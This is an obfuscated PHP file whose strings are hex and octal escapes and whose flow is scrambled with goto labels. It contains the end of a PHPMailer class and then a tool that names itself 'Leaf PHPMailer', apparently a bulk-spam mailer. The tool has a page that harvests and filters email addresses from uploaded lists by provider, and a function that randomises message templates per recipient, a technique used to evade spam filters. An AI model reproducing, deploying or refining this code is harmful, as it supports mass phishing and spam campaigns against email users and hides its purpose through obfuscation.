"\x61\160\x70\154\x69\143\x61\x74\151\157\x6e\57\170\55\163\164\165\146\x66\151\x74", "\164\141\162" => "\x61\160\160\154\151\143\x61\164\151\x6f\156\x2f\170\x2d\x74\141\x72", "\x74\x67\x7a" => "\x61\160\x70\154\x69\143\141\x74\151\x6f\156\57\170\x2d\164\x61\x72", "\170\150\164" => "\141\160\160\x6c\x69\x63\141\164\151\157\156\x2f\x78\150\164\155\154\x2b\x78\155\154", "\170\x68\x74\155\x6c" => "\141\x70\x70\x6c\151\143\x61\164\x69\x6f\x6e\x2f\170\150\x74\155\x6c\53\x78\x6d\154", "\x7a\x69\160" => "\x61\160\x70\154\151\143\x61\164\151\157\x6e\57\x7a\x69\x70", "\x6d\x69\x64" => "\141\165\144\x69\157\57\155\151\144\x69", "\155\151\x64\151" => "\x61\x75\144\151\x6f\57\155\151\144\151", "\155\160\62" => "\x61\165\x64\x69\157\57\x6d\x70\145\147", "\155\x70\x33" => "\141\x75\x64\x69\x6f\57\x6d\x70\x65\x67", "\155\160\147\x61" => "\141\165\x64\151\157\57\155\x70\x65\147", "\141\x69\x66" => "\141\x75\144\x69\157\57\170\x2d\141\x69\x66\x66", "\x61\x69\146\143" => "\x61\165\144\151\157\57\x78\x2d\x61\151\146\146", "\x61\151\x66\146" => "\141\165\144\x69\x6f\x2f\170\55\x61\x69\146\x66", "\x72\x61\155" => "\141\165\144\151\x6f\x2f\x78\x2d\160\x6e\55\x72\x65\x61\154\141\x75\x64\151\x6f", "\x72\155" => "\x61\x75\x64\x69\x6f\57\x78\55\160\x6e\x2d\x72\x65\141\154\x61\165\144\151\157", "\x72\x70\x6d" => "\141\165\x64\x69\x6f\57\x78\55\x70\156\x2d\x72\x65\141\x6c\x61\165\144\151\x6f\55\x70\x6c\x75\147\x69\156", "\162\x61" => "\x61\165\144\151\x6f\x2f\x78\x2d\x72\145\141\154\141\165\x64\x69\157", "\167\141\166" => "\141\165\144\x69\157\x2f\170\x2d\x77\x61\166", "\x62\155\x70" => "\151\155\x61\x67\145\x2f\142\x6d\160", "\147\x69\146" => "\x69\x6d\141\147\x65\57\x67\x69\146", "\x6a\x70\x65\147" => "\x69\155\x61\x67\x65\57\x6a\160\145\147", "\x6a\x70\145" => "\x69\x6d\x61\147\145\x2f\152\160\x65\147", "\152\x70\x67" => "\151\155\x61\x67\145\57\152\x70\145\147", "\160\156\147" => "\151\x6d\x61\x67\x65\57\160\x6e\x67", "\x74\151\146\x66" => "\x69\x6d\141\x67\x65\57\x74\x69\146\146", "\164\151\146" => "\151\155\141\x67\x65\57\164\x69\146\x66", "\x65\x6d\154" => "\155\x65\163\163\x61\x67\145\x2f\x72\146\143\70\62\62", "\143\x73\163" => "\164\x65\170\x74\x2f\143\x73\163", "\150\x74\x6d\x6c" => "\164\145\x78\x74\57\x68\164\x6d\154", "\x68\x74\155" => "\x74\x65\170\x74\57\x68\164\155\x6c", "\x73\150\x74\x6d\154" => "\x74\145\170\x74\57\150\164\x6d\154", "\x6c\157\147" => "\x74\145\170\x74\x2f\160\x6c\141\x69\x6e", "\x74\x65\170\164" => "\164\145\x78\x74\x2f\x70\x6c\141\151\156", "\x74\170\164" => "\164\x65\170\164\x2f\160\x6c\141\151\x6e", "\162\164\170" => "\164\x65\170\x74\x2f\162\151\143\x68\x74\x65\x78\164", "\x72\164\x66" => "\x74\145\170\x74\57\162\164\146", "\166\143\146" => "\x74\145\170\164\x2f\166\x63\x61\x72\144", "\166\143\141\x72\144" => "\x74\145\x78\164\x2f\x76\x63\141\x72\144", "\x78\x6d\154" => "\x74\145\x78\164\x2f\x78\155\x6c", "\170\x73\154" => "\164\145\x78\x74\57\170\x6d\154", "\x6d\160\x65\147" => "\x76\151\x64\x65\157\x2f\155\x70\x65\x67", "\155\160\145" => "\166\x69\x64\x65\157\57\x6d\160\x65\147", "\155\160\147" => "\166\x69\144\145\157\57\x6d\160\x65\x67", "\x6d\x6f\x76" => "\x76\x69\x64\x65\x6f\x2f\161\165\151\143\153\164\x69\155\145", "\x71\164" => "\x76\151\144\x65\157\x2f\161\x75\x69\143\x6b\x74\x69\x6d\x65", "\162\x76" => "\x76\151\144\x65\157\57\166\156\144\56\x72\156\55\162\145\141\x6c\x76\x69\144\x65\x6f", "\x61\x76\151" => "\x76\x69\144\145\x6f\57\x78\55\x6d\163\x76\151\x64\145\157", "\x6d\x6f\166\x69\145" => "\x76\x69\144\145\157\57\x78\x2d\x73\147\151\x2d\155\x6f\x76\151\145"); if (array_key_exists(strtolower($ext), $mimes)) { return $mimes[strtolower($ext)]; } return "\141\160\160\154\x69\x63\141\x74\151\x6f\156\x2f\157\x63\x74\x65\164\x2d\x73\164\162\x65\141\x6d"; } public static function filenameToType($filename) { $qpos = strpos($filename, "\77"); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $pathinfo = self::mb_pathinfo($filename); return self::_mime_types($pathinfo["\x65\x78\164\x65\156\163\151\157\156"]); } public static function mb_pathinfo($path, $options = null) { $ret = array("\144\151\162\156\x61\x6d\x65" => '', "\142\x61\x73\145\x6e\141\155\x65" => '', "\x65\170\164\145\156\x73\151\157\156" => '', "\146\x69\x6c\x65\x6e\x61\155\x65" => ''); $pathinfo = array(); if (preg_match("\x25\136\50\56\52\77\51\133\x5c\134\x2f\x5d\52\50\50\133\136\x2f\x5c\x5c\x5d\52\x3f\x29\x28\134\x2e\50\x5b\136\134\x2e\x5c\134\57\x5d\x2b\x3f\51\x7c\51\51\133\x5c\x5c\x2f\134\x2e\135\52\x24\45\x69\155", $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret["\144\151\x72\156\141\155\145"] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret["\142\x61\163\145\x6e\141\155\x65"] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret["\145\170\x74\x65\x6e\x73\151\x6f\156"] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret["\x66\x69\154\x65\156\x61\x6d\x65"] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case "\144\x69\x72\156\x61\155\145": return $ret["\x64\x69\x72\x6e\x61\155\x65"]; case PATHINFO_BASENAME: case "\142\141\x73\x65\x6e\x61\x6d\145": return $ret["\x62\141\x73\145\156\x61\155\x65"]; case PATHINFO_EXTENSION: case "\x65\x78\164\x65\x6e\x73\x69\157\x6e": return $ret["\145\170\x74\x65\x6e\163\x69\x6f\156"]; case PATHINFO_FILENAME: case "\146\x69\154\145\156\x61\155\x65": return $ret["\146\x69\x6c\x65\x6e\x61\155\145"]; default: return $ret; } } public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } else { $this->setError($this->lang("\x76\141\162\x69\x61\142\154\x65\x5f\x73\x65\x74") . $name); return false; } } public function secureHeader($str) { return trim(str_replace(array("\xd", "\xa"), '', $str)); } public static function normalizeBreaks($text, $breaktype = "\xd\xa") { return preg_replace("\x2f\x28\x5c\162\134\156\x7c\x5c\x72\x7c\134\156\51\57\155\163", $breaktype, $text); } public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } public function DKIM_QP($txt) { $line = ''; for ($i = 0; $i < strlen($txt); $i++) { $ord = ord($txt[$i]); if (33 <= $ord && $ord <= 58 || $ord == 60 || 62 <= $ord && $ord <= 126) { $line .= $txt[$i]; } else { $line .= "\x3d" . sprintf("\45\x30\62\x58", $ord); } } return $line; } public function DKIM_Sign($signHeader) { if (!defined("\x50\x4b\103\123\67\x5f\x54\105\x58\x54")) { if ($this->exceptions) { throw new phpmailerException($this->lang("\145\x78\x74\145\x6e\x73\151\157\156\137\155\151\163\x73\x69\156\x67") . "\x6f\160\x65\x6e\x73\163\x6c"); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' != $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (version_compare(PHP_VERSION, "\x35\56\63\x2e\x30") >= 0 and in_array("\163\x68\141\62\x35\66\127\x69\164\150\122\123\x41\x45\156\143\162\171\160\164\x69\x6f\156", openssl_get_md_methods(true))) { if (openssl_sign($signHeader, $signature, $privKey, "\x73\x68\x61\62\x35\66\x57\151\164\x68\122\123\x41\105\x6e\143\162\171\x70\x74\151\x6f\x6e")) { openssl_pkey_free($privKey); return base64_encode($signature); } } else { $pinfo = openssl_pkey_get_details($privKey); $hash = hash("\163\x68\141\x32\x35\66", $signHeader); $t = "\x33\60\x33\x31\x33\60\60\x64\60\66\x30\x39\x36\x30\x38\66\x34\x38\60\x31\66\x35\x30\63\x30\64\x30\62\x30\x31\60\x35\x30\x30\60\64\62\60" . $hash; $pslen = $pinfo["\x62\151\x74\163"] / 8 - (strlen($t) / 2 + 3); $eb = pack("\x48\52", "\60\x30\60\61" . str_repeat("\x46\x46", $pslen) . "\x30\x30" . $t); if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) { openssl_pkey_free($privKey); return base64_encode($signature); } } openssl_pkey_free($privKey); return ''; } public function DKIM_HeaderC($signHeader) { $signHeader = preg_replace("\x2f\x5c\x72\134\156\x5c\163\x2b\x2f", "\x20", $signHeader); $lines = explode("\xd\12", $signHeader); foreach ($lines as $key => $line) { list($heading, $value) = explode("\72", $line, 2); $heading = strtolower($heading); $value = preg_replace("\x2f\134\x73\173\62\x2c\175\57", "\40", $value); $lines[$key] = $heading . "\72" . trim($value); } $signHeader = implode("\xd\12", $lines); return $signHeader; } public function DKIM_BodyC($body) { if ($body == '') { return "\xd\12"; } $body = str_replace("\15\xa", "\12", $body); $body = str_replace("\xa", "\15\12", $body); while (substr($body, strlen($body) - 4, 4) == "\15\xa\15\12") { $body = substr($body, 0, strlen($body) - 2); } return $body; } public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = "\162\x73\141\55\163\150\141\x32\65\x36"; $DKIMcanonicalization = "\162\x65\x6c\x61\x78\x65\x64\57\x73\151\x6d\160\x6c\145"; $DKIMquery = "\x64\x6e\163\x2f\x74\x78\164"; $DKIMtime = time(); $subject_header = "\x53\x75\142\152\x65\143\164\72\40{$subject}"; $headers = explode($this->LE, $headers_line); $from_header = ''; $to_header = ''; $date_header = ''; $current = ''; foreach ($headers as $header) { if (strpos($header, "\x46\x72\157\155\72") === 0) { $from_header = $header; $current = "\x66\x72\157\x6d\137\150\x65\x61\x64\145\162"; } elseif (strpos($header, "\x54\157\72") === 0) { $to_header = $header; $current = "\x74\157\137\150\145\x61\144\x65\x72"; } elseif (strpos($header, "\104\x61\164\x65\72") === 0) { $date_header = $header; $current = "\144\141\x74\145\x5f\x68\145\x61\144\145\162"; } else { if (!empty(${$current}) && strpos($header, "\40\x3d\x3f") === 0) { ${$current} .= $header; } else { $current = ''; } } } $from = str_replace("\x7c", "\x3d\x37\x43", $this->DKIM_QP($from_header)); $to = str_replace("\x7c", "\75\x37\x43", $this->DKIM_QP($to_header)); $date = str_replace("\x7c", "\75\67\x43", $this->DKIM_QP($date_header)); $subject = str_replace("\x7c", "\x3d\67\103", $this->DKIM_QP($subject_header)); $body = $this->DKIM_BodyC($body); $DKIMlen = strlen($body); $DKIMb64 = base64_encode(pack("\110\x2a", hash("\x73\150\141\x32\65\66", $body))); if ('' == $this->DKIM_identity) { $ident = ''; } else { $ident = "\x20\151\x3d" . $this->DKIM_identity . "\x3b"; } $dkimhdrs = "\x44\113\111\115\55\x53\x69\147\156\141\164\165\x72\145\x3a\x20\x76\75\61\73\x20\141\x3d" . $DKIMsignatureType . "\x3b\x20\x71\75" . $DKIMquery . "\73\x20\154\75" . $DKIMlen . "\73\40\163\75" . $this->DKIM_selector . "\73\15\xa" . "\x9\164\x3d" . $DKIMtime . "\73\x20\143\75" . $DKIMcanonicalization . "\73\xd\12" . "\11\x68\75\106\x72\157\155\72\x54\x6f\72\x44\141\x74\145\72\123\165\142\152\145\x63\164\x3b\15\xa" . "\x9\x64\75" . $this->DKIM_domain . "\73" . $ident . "\xd\xa" . "\x9\172\75{$from}\xd\12" . "\11\x7c{$to}\15\xa" . "\11\x7c{$date}\15\xa" . "\x9\x7c{$subject}\73\15\12" . "\x9\x62\x68\75" . $DKIMb64 . "\73\15\xa" . "\x9\x62\x3d"; $toSign = $this->DKIM_HeaderC($from_header . "\15\12" . $to_header . "\xd\12" . $date_header . "\xd\12" . $subject_header . "\xd\12" . $dkimhdrs); $signed = $this->DKIM_Sign($toSign); return $dkimhdrs . $signed . "\15\xa"; } public static function hasLineLongerThanMax($str) { return (bool) preg_match("\x2f\136\50\56\x7b" . (self::MAX_LINE_LENGTH + 2) . "\54\x7d\x29\57\x6d", $str); } public function getToAddresses() { return $this->to; } public function getCcAddresses() { return $this->cc; } public function getBccAddresses() { return $this->bcc; } public function getReplyToAddresses() { return $this->ReplyTo; } public function getAllRecipientAddresses() { return $this->all_recipients; } protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) { if (!empty($this->action_function) && is_callable($this->action_function)) { $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from); call_user_func_array($this->action_function, $params); } } } goto qK2Sl; EZncS: $bit8 = "\163\145\154\x65\143\164\x65\144"; goto uXc9W; pMhPQ: function leafClear($text, $email) { $e = explode("\x40", $email); $emailuser = $e[0]; $emaildomain = $e[1]; $text = str_replace("\133\x2d\164\151\155\145\x2d\x5d", date("\x6d\57\x64\x2f\131", time()), $text); $text = str_replace("\133\x2d\145\155\141\x69\x6c\x2d\135", $email, $text); $text = str_replace("\133\55\145\x6d\141\x69\154\165\163\145\x72\x2d\135", $emailuser, $text); $text = str_replace("\x5b\55\x65\155\141\x69\154\144\157\x6d\141\151\156\55\x5d", $emaildomain, $text); $text = str_replace("\x5b\55\162\141\x6e\144\x6f\x6d\154\x65\164\164\x65\x72\163\x2d\135", randString("\x41\x42\x43\104\x45\106\x47\x48\111\112\x4b\x4c\x4d\x4e\x4f\120\x51\122\x53\124\125\x56\127\x58\x59\x5a"), $text); $text = str_replace("\133\55\x72\x61\156\x64\157\x6d\163\164\162\151\156\x67\55\x5d", randString("\x41\102\103\104\105\x46\x47\x48\x49\x4a\113\114\115\116\x4f\120\x51\122\123\x54\125\x56\x57\x58\131\132\60\x31\x32\x33\x34\65\66\x37\x38\71"), $text); $text = str_replace("\x5b\55\162\141\156\x64\157\155\163\164\162\x69\156\147\61\x2d\x5d", randString2("\x41\x42\x43\x44\105\x46\x47\110\111\x4a\x4b\x4c\x4d\x4e\x4f\x50\121\x52\x53\124\x55\126\x57\130\131\x5a\60\x31\62\x33\64\65\x36\67\x38\x39"), $text); $text = str_replace("\x5b\x2d\x72\x61\x6e\x64\157\155\x6e\x75\155\142\x65\x72\x2d\x5d", randString("\60\x31\62\x33\x34\x35\x36\67\x38\71"), $text); $text = str_replace("\133\55\162\x61\156\x64\157\x6d\156\x75\x6d\142\x65\x72\61\x2d\x5d", randString1("\x30\x31\x32\x33\64\65\66\x37\x38\x39"), $text); $text = str_replace("\x5b\x2d\162\141\x6e\x64\x6f\155\x6d\144\x35\55\135", md5(randString("\x61\142\x63\x64\x65\x66\147\x68\x69\x6a\x6b\x6c\155\156\x6f\160\x71\162\163\164\x75\x76\x77\170\171\x7a\60\x31\x32\63\x34\x35\x36\x37\x38\x39")), $text); return $text; } goto YrV9X; fHr59: if (isset($_GET["\145\x6d\141\151\x6c\x66\x69\154\x74\x65\x72"])) { if (!empty($_FILES["\x66\x69\154\x65\124\x6f\x55\160\x6c\157\x61\x64"]["\x74\x6d\x70\137\156\x61\155\x65"])) { $_POST["\x65\155\x61\151\154\x4c\151\x73\x74"] = file_get_contents($_FILES["\x66\x69\x6c\145\x54\157\125\160\x6c\157\x61\x64"]["\164\x6d\160\137\x6e\x61\155\145"]); } $_POST["\145\155\141\151\x6c\114\151\163\164"] = strtolower($_POST["\145\155\141\x69\x6c\x4c\x69\x73\x74"]); if ($_GET["\145\x6d\141\x69\x6c\146\x69\x6c\164\x65\162"] == "\151\x66\x72\141\x6d") { if ($_POST["\162\145\163\x75\154\164\x74\171\x70\145"] == "\144\157\x77\156\154\x6f\141\144") { header("\103\157\x6e\164\x65\156\x74\x2d\x44\x65\163\x63\162\151\160\x74\151\157\156\x3a\x20\x46\151\x6c\x65\40\x54\x72\x61\156\x73\x66\145\162"); header("\103\157\x6e\164\x65\156\x74\x2d\x54\171\160\145\72\x20\x61\160\160\154\151\x63\141\164\x69\x6f\x6e\x2f\157\x63\x74\x65\164\x2d\163\x74\162\x65\141\155"); header("\x43\157\156\164\145\x6e\164\55\x44\151\x73\160\157\163\151\x74\151\157\156\72\x20\x61\x74\164\x61\143\150\155\145\x6e\164\73\40\x66\151\x6c\x65\x6e\x61\155\145\75\x65\155\x61\x69\x6c\x73" . time() . "\x2e\164\170\x74"); } else { header("\x43\157\x6e\x74\x65\156\x74\x2d\124\x79\x70\145\x3a\x20\x74\x65\170\164\x2f\x70\154\141\151\x6e"); } if ($_POST["\163\x75\142\155\x69\164"] == "\145\170\x74\162\x61\x63\x74") { $pattern = "\57\133\x41\x2d\132\x61\55\172\x30\x2d\x39\56\x5f\x25\x2b\x2d\x5d\x2b\x40\x5b\101\55\132\x61\x2d\172\x30\55\x39\x2e\55\x5d\53\134\x2e\x5b\101\x2d\132\141\55\172\135\173\62\x2c\x34\175\x2f"; preg_match_all($pattern, $_POST["\145\155\x61\151\x6c\x4c\x69\163\164"], $matches); foreach ($matches[0] as $email) { print $email . "\12"; } } elseif ($_POST["\163\x75\x62\155\x69\164"] == "\146\x69\x6c\164\145\162") { $emails = explode("\12", $_POST["\x65\155\x61\x69\x6c\x4c\x69\163\164"]); $keywords = explode("\12", strtolower($_POST["\x6b\145\x79\x77\157\162\x64\163"])); foreach ($emails as $email) { foreach ($keywords as $keyword) { if (strstr($email, $keyword)) { print $email . "\12"; break; } } } } die; } leafheader(); print "\x3c\144\151\166\x20\x63\154\x61\x73\163\x3d\42\143\x6f\156\164\x61\151\156\145\x72\x20\143\x6f\154\55\x6c\x67\x2d\64\x22\76\74\150\x33\76\x3c\x66\x6f\156\164\40\143\x6f\154\x6f\x72\x3d\42\147\x72\x65\145\156\x22\x3e\x3c\163\x70\141\156\40\x63\154\x61\x73\163\75\42\147\154\x79\x70\150\x69\x63\157\156\x20\x67\x6c\171\x70\150\151\x63\157\156\x2d\x6c\x65\x61\146\x22\x3e\x3c\x2f\x73\x70\x61\156\x3e\74\57\146\x6f\x6e\164\76\40\114\x65\x61\x66\40\x50\x48\x50\115\x61\x69\154\145\162\40\74\x73\155\141\x6c\x6c\x3e\105\x6d\x61\x69\x6c\40\x46\151\x6c\x74\x65\162\74\57\163\x6d\x61\x6c\154\x3e\x3c\57\150\63\76"; print "\12\40\x20\x20\40\x3c\146\x6f\x72\155\40\141\x63\164\x69\x6f\156\75\x22\77\x65\155\141\151\154\x66\x69\x6c\x74\145\162\x3d\151\x66\162\141\155\x22\40\155\145\x74\150\157\x64\x3d\x22\120\117\x53\x54\42\40\x74\141\x72\147\x65\x74\75\42\x6d\x79\55\x69\146\162\141\155\x65\x22\40\145\156\143\164\x79\160\145\x3d\x22\x6d\165\154\x74\151\x70\141\x72\x74\x2f\x66\x6f\x72\x6d\55\x64\x61\x74\141\42\40\157\156\163\165\x62\x6d\x69\x74\x3d\47\47\x3e\xa\40\40\x20\x20\x20\40\x20\40\74\154\x61\142\145\x6c\40\x66\157\162\x3d\42\x65\x6d\x61\x69\154\114\x69\163\164\42\x3e\x54\x65\x78\x74\x20\x3c\x2f\x6c\141\142\x65\x6c\x3e\74\x69\156\160\165\164\x20\164\x79\x70\x65\x3d\42\146\x69\154\x65\x22\40\156\x61\155\x65\x3d\42\x66\x69\x6c\145\x54\157\x55\160\x6c\x6f\141\x64\42\40\151\x64\75\x22\x66\151\154\145\x54\157\x55\x70\x6c\x6f\x61\144\x22\76\x20\12\40\40\x20\x20\40\40\x20\x20\157\x72\xa\xa\40\40\40\x20\40\x20\40\40\74\164\145\x78\164\141\162\145\x61\40\156\141\155\x65\x3d\x22\x65\x6d\141\151\x6c\x4c\x69\x73\x74\42\x20\151\x64\75\x22\145\x6d\141\151\154\x4c\x69\163\164\x22\x20\143\154\141\163\163\75\x22\146\x6f\162\155\55\143\x6f\x6e\164\162\157\x6c\x22\x20\162\157\167\163\x3d\42\x37\42\x20\151\x64\x3d\x22\164\145\170\x74\x41\x72\145\141\x22\x3e\74\x2f\x74\145\x78\164\141\162\x65\141\x3e\xa\x20\x20\x20\x20\x20\x20\x3c\144\151\x76\x20\143\x6c\141\x73\x73\x3d\x22\143\157\x6c\55\x6c\147\55\x31\62\42\76\xa\40\x20\x20\40\x20\40\x20\x20\74\x64\x69\166\40\x63\154\141\x73\163\75\42\x72\141\144\x69\x6f\42\x3e\12\x20\40\40\x20\x20\40\40\40\x20\40\74\x6c\141\142\x65\154\76\12\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\x3c\151\x6e\160\x75\164\40\x74\171\160\145\75\x22\x72\141\x64\x69\x6f\x22\40\x6e\141\x6d\x65\x3d\42\162\145\163\165\x6c\164\x74\171\x70\x65\x22\x20\151\144\75\42\162\x65\x73\165\154\x74\164\x79\x70\x65\42\x20\x76\x61\154\x75\145\75\42\x68\x65\x72\x65\x22\40\143\150\145\x63\x6b\x65\144\75\x22\42\x3e\xa\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\123\x68\x6f\x77\x20\122\145\163\165\x6c\x74\x20\x69\x6e\40\164\x68\x69\163\x20\160\141\147\145\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\74\x2f\154\x61\142\x65\154\x3e\12\x20\40\x20\x20\x20\x20\x20\40\74\57\x64\x69\166\76\xa\40\40\x20\x20\x20\40\x20\x20\x3c\x64\x69\x76\x20\143\154\141\163\x73\75\x22\x72\141\x64\x69\157\42\76\12\40\40\x20\40\40\40\x20\40\x20\40\74\x6c\x61\x62\x65\x6c\76\xa\x20\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\74\x69\x6e\160\165\x74\x20\x74\x79\160\x65\x3d\x22\x72\141\x64\x69\x6f\42\x20\156\141\x6d\145\x3d\x22\x72\145\163\165\x6c\164\164\x79\x70\145\42\40\x69\144\x3d\x22\x72\x65\163\x75\x6c\x74\164\171\x70\x65\x22\x20\x76\141\154\165\x65\x3d\42\144\x6f\167\156\154\x6f\141\x64\x22\x3e\xa\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\40\x44\157\x77\x6e\x6c\157\x61\144\x20\x52\145\x73\x75\154\x74\x20\50\146\157\162\x20\142\151\147\40\x6e\x75\x6d\x62\145\x72\163\x29\12\x20\x20\40\40\x20\x20\x20\x20\40\40\x3c\x2f\x6c\141\142\145\154\x3e\12\40\x20\40\x20\x20\40\40\x20\x3c\x2f\x64\x69\166\76\xa\x20\40\x20\x20\x20\40\74\x2f\x64\x69\166\x3e\xa\x20\x20\40\40\40\40\40\40\x20\40\x20\x20\x3c\154\145\x67\x65\x6e\144\76\74\x68\64\76\x45\170\164\x72\x61\143\164\x20\x45\x6d\141\151\154\x3c\x2f\x68\64\x3e\x3c\57\154\145\147\145\156\x64\x3e\12\40\40\40\40\40\x20\x20\x20\x20\x20\x20\40\104\x65\164\x65\143\x74\151\x6e\147\40\x65\x76\145\x72\171\x20\145\155\141\151\x6c\x20\x28\61\x30\x30\x25\x29\x20\x61\x6e\x64\40\157\162\x64\145\x72\40\164\x68\x65\155\x20\x6c\151\x6e\145\40\x62\x79\x20\x6c\x69\156\x65\40\74\x62\x72\76\x3c\x62\162\x3e\xa\x20\40\x20\40\40\40\40\x20\74\x62\x75\164\x74\x6f\x6e\x20\x74\171\x70\x65\x3d\x22\163\165\142\155\151\x74\x22\40\x6e\x61\x6d\x65\75\x22\163\165\142\x6d\151\x74\x22\x20\166\141\154\165\145\x3d\x22\x65\170\x74\162\x61\143\x74\42\40\143\x6c\141\163\x73\75\42\x62\164\x6e\x20\142\164\156\x2d\144\x65\146\141\165\x6c\164\40\142\164\x6e\x2d\x73\155\42\x3e\123\164\141\162\x74\x3c\x2f\x62\165\x74\x74\x6f\156\76\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x3c\154\x65\x67\145\x6e\x64\x3e\x3c\x68\x34\76\x46\151\x6c\x74\145\x72\x20\x45\x6d\x61\x69\x6c\x73\74\57\x68\64\x3e\x3c\57\x6c\145\147\145\156\144\76\12\x20\40\x20\x20\x20\40\x20\40\74\154\141\142\145\154\40\76\x4b\x65\171\167\157\162\x64\x73\40\x3c\x73\x6d\x61\x6c\x6c\x3e\40\145\170\x3a\x20\147\155\x61\151\x6c\x2e\x63\157\155\x20\x6f\162\x20\x2e\x63\157\56\165\x6b\x3c\x2f\163\155\x61\154\154\76\40\74\57\154\141\x62\145\154\x3e\x3c\x74\x65\170\164\x61\x72\145\141\40\x6e\141\155\145\75\42\153\x65\x79\167\x6f\162\144\x73\42\x20\151\x64\75\x22\153\145\x79\167\157\x72\144\163\x22\x20\x63\x6c\x61\163\x73\x3d\42\x66\157\162\155\x2d\x63\157\156\x74\x72\157\154\42\40\x72\x6f\167\163\x3d\42\x34\x22\x20\x69\144\x3d\x22\x74\x65\170\x74\101\x72\x65\x61\x22\76\x67\x6d\141\x69\x6c\56\143\157\155\12\150\x6f\164\x6d\x61\x69\x6c\x2e\x63\157\155\12\171\141\150\157\157\56\143\x6f\x6d\12\56\x63\157\56\x75\x6b\74\57\x74\x65\170\x74\x61\162\x65\141\x3e\x3c\142\162\x3e\12\12\x20\40\x20\x20\40\40\x20\x20\x20\40\40\40\74\142\x75\164\x74\157\x6e\40\x74\x79\160\x65\75\42\x73\165\x62\155\x69\x74\x22\x20\156\x61\155\x65\75\x22\163\165\x62\155\x69\x74\x22\40\x76\x61\154\165\145\75\x22\146\x69\x6c\x74\x65\x72\42\x20\x63\x6c\x61\163\163\75\42\x62\164\156\40\142\x74\x6e\x2d\144\x65\146\141\x75\154\x74\40\142\164\156\55\163\155\42\76\123\x74\141\162\x74\74\57\x62\x75\x74\x74\x6f\x6e\x3e\xa\40\x20\x20\40\74\x2f\x66\x6f\x72\x6d\76\xa\40\x20\40\x20\74\154\141\142\145\154\40\76\x52\x65\x73\165\154\x74\x20\74\x2f\154\x61\x62\145\x6c\x3e\xa\40\x20\40\40\74\151\146\x72\141\x6d\145\x20\163\164\x79\154\145\x3d\42\x62\x6f\162\144\145\x72\x3a\x6e\157\x6e\145\73\x77\151\144\164\150\x3a\x31\x30\x30\x25\73\x22\40\156\x61\x6d\145\x3d\42\x6d\171\x2d\x69\146\x72\141\155\x65\x22\x20\40\x73\162\x63\75\x22\77\x65\x6d\141\151\x6c\x66\x69\154\x74\x65\162\x3d\x69\146\x72\141\x6d\x22\x20\x3e\74\57\x69\x66\x72\x61\155\145\x3e\12\40\x20\x20"; die; } goto nuPWj; nNhy4: function randString1($consonants) { $length = rand(1, 1); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto KFYHM; xt246: session_start(); goto wh614; xGYZS: leafheader(); goto kB81p; gsu0o: $sessioncode = md5(__FILE__); goto k6r8A; BSITA: $leaf["\167\x65\x62\x73\x69\x74\x65"] = "\43"; goto gsu0o; W8ICb: $password = ''; goto xt246; V6qdB: function randString($consonants) { $length = rand(12, 25); $password = ''; for ($i = 0; $i < $length; $i++) { $password .= $consonants[rand() % strlen($consonants)]; } return $password; } goto nNhy4; LkAyP: print "\74\x64\151\x76\40\143\x6c\x61\163\x73\x3d\42\143\x6f\156\164\x61\x69\156\x65\162\40\x63\157\154\55\x6c\x67\x2d\x36\42\76\12\40\x20\x20\x20\x20\40\40\40\x3c\150\63\x3e\74\x66\157\156\x74\40\x63\x6f\154\x6f\x72\75\42\147\x72\x65\x65\156\x22\76\x3c\163\160\x61\x6e\40\143\154\141\x73\163\x3d\x22\x67\x6c\x79\160\x68\151\143\157\x6e\40\147\x6c\x79\x70\150\x69\143\x6f\156\x2d\154\145\x61\146\x22\x3e\74\x2f\163\160\141\156\76\x3c\57\146\157\156\164\x3e\x20\x4c\145\141\x66\40\120\110\120\x4d\x61\x69\154\145\x72\x20\74\x73\x6d\141\154\x6c\x3e" . $leaf["\166\145\162\163\x69\157\x6e"] . "\74\x2f\x73\x6d\x61\154\154\76\74\57\x68\x33\x3e\12\40\x20\x20\x20\40\x20\x20\40\x3c\x66\x6f\x72\155\x20\156\x61\x6d\x65\x3d\42\146\157\x72\155\42\x20\151\x64\x3d\42\146\157\x72\x6d\x22\x20\x6d\145\x74\x68\x6f\144\x3d\42\x50\117\x53\124\42\40\145\x6e\x63\164\171\160\145\x3d\42\x6d\165\x6c\164\151\x70\141\162\x74\57\x66\x6f\162\155\55\144\x61\x74\x61\x22\x20\x61\x63\x74\151\x6f\156\x3d\x22\42\76\xa\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x3c\151\156\160\x75\x74\x20\164\171\x70\145\x3d\x22\150\x69\x64\x64\145\156\42\x20\x6e\x61\x6d\x65\x3d\42\141\143\x74\x69\x6f\x6e\x22\40\166\141\154\165\145\x3d\42\163\143\157\162\145\x22\x3e\xa\12\x20\40\40\x20\x20\40\40\40\40\40\40\x20\74\x64\151\166\x20\x63\154\141\163\163\75\x22\162\x6f\167\x22\x3e\12\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\40\x20\x20\x3c\144\x69\x76\x20\x63\x6c\x61\163\16